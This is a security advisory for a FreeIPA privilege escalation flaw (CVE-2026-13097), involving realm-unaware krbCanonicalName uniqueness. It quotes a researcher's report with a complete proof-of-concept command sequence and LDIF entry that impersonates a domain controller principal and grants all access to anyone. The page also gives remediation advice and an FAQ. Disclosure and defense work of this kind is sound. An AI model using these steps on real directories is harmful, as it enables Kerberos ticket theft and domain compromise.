CVE-2026-13097: Ipa: privilege escalation via krbcanonicalname manipulation due to realm-unaware uniqueness enforcement in freeipa ldap datastore
A privilege escalation flaw was found in FreeIPA. The uniqueness constraint enforced on Kerberos principal name attributes in the 389-ds directory server does not properly account for equivalent representations of the same principal name, allowing a user with sufficient LDAP write privileges to create a service principal that impersonates an existing privileged one. This can lead to unauthorized acquisition of Kerberos service tickets for sensitive services, potentially resulting in full domain compromise.
Other sources
I'd like to report a privilege escalation method based on manipulation of the krbCanonicalName attribute. Despite changes made by FreeIPA and PAC certificate validation, it can still be abused.
Requirements to exploit: The attacker must have the rights of the computer account or an account with the right to add to almost any branch of the LDAP directory.
Version affected: FreeIPA VERSION: 4.12.2, APIVERSION: 2.254 Patch available: no CVSS 3.1 Vector AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
You're familiar with the general information on vulnerabilities CVE-2025-4404 and CVE-2025-7493. But there's a method that can currently be exploited, and it's much more dangerous than the CVEs listed. The problem is that a user who controls krbCanonicalName can specify the value of any account by simply specifying krbCanonicalName without specifying REALM and then request the tickets they need. On earlier versions of FreeIPA where PAC certificate validation isn't enabled, we can already fully exploit the domain. But even with PAC validation enabled, we can specify values with the service prefix. For example, krbtgt/ or ldap/ or host/ and request a ticket with a PAC, and KDC will return a perfectly valid ticket. It's worth noting that if you simply specify "admin," the issuance of such tickets will be rejected due to PAC certificate validation. One of the easiest ways I see is to get a domain controller account, for example host/ipa.red.corp.
kdestroy -A
kinit -k -t /etc/krb5.keytab host/debi.red.corp
ldapadd -H ldap://ipa.red.corp
dn: krbprincipalname=pwn/debi.red.corp,cn=services,cn=accounts,dc=red,dc=corp ipaKrbPrincipalAlias: pwn/debi.red.corp krbPrincipalName: pwn/debi.red.corp objectClass: ipaKrbPrincipal objectClass: ipaObject objectClass: ipaService objectClass: krbPrincipal objectClass: krbPrincipalAux objectClass: top krbCanonicalName: host/ipa.red.corp managedBy: fqdn=debi.red.corp,cn=computers,cn=accounts,dc=red,dc=corp aci: (targetattr = "")(version 3.0;acl "pwn";allow (all) userdn = "ldap:///anyone"winking face
ipa-getkeytab -p pwn/debi.red.corp -k ./pwn.keytab --mech=GSSAPI
kdestroy -A
kinit -k -t pwn.keytab pwn/debi.red.corp
kvno HTTP/ipa.red.corp
kvno ldap/ipa.red.corp
klist -A
— Red Hat
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Compensating control
Restrict LDAP directory write access so that attackers cannot modify the krbCanonicalName / principal-related attributes in FreeIPA 4.12.2. Specifically prevent users who can add to almost any branch from creating/altering ipaKrbPrincipal/krbPrincipal objects (e.g., in cn=services,cn=accounts,dc=red,dc=corp) and prevent computer-account-equivalent write privileges.
Event History
Frequently Asked Questions
What access does an attacker need to exploit this issue?
The attacker needs the rights of a computer account or another account that can add entries to almost any branch of the LDAP directory. Exploitation also depends on sufficient LDAP write privileges to create a service principal impersonating an existing privileged principal.
What could an attacker achieve after successful exploitation?
An attacker may obtain Kerberos service tickets for sensitive services by creating a service principal that impersonates a privileged one. The stated potential impact is full domain compromise.
Is a patch available?
No patch is available according to the provided information. FreeIPA 4.12.2 with API version 2.254 is identified as affected.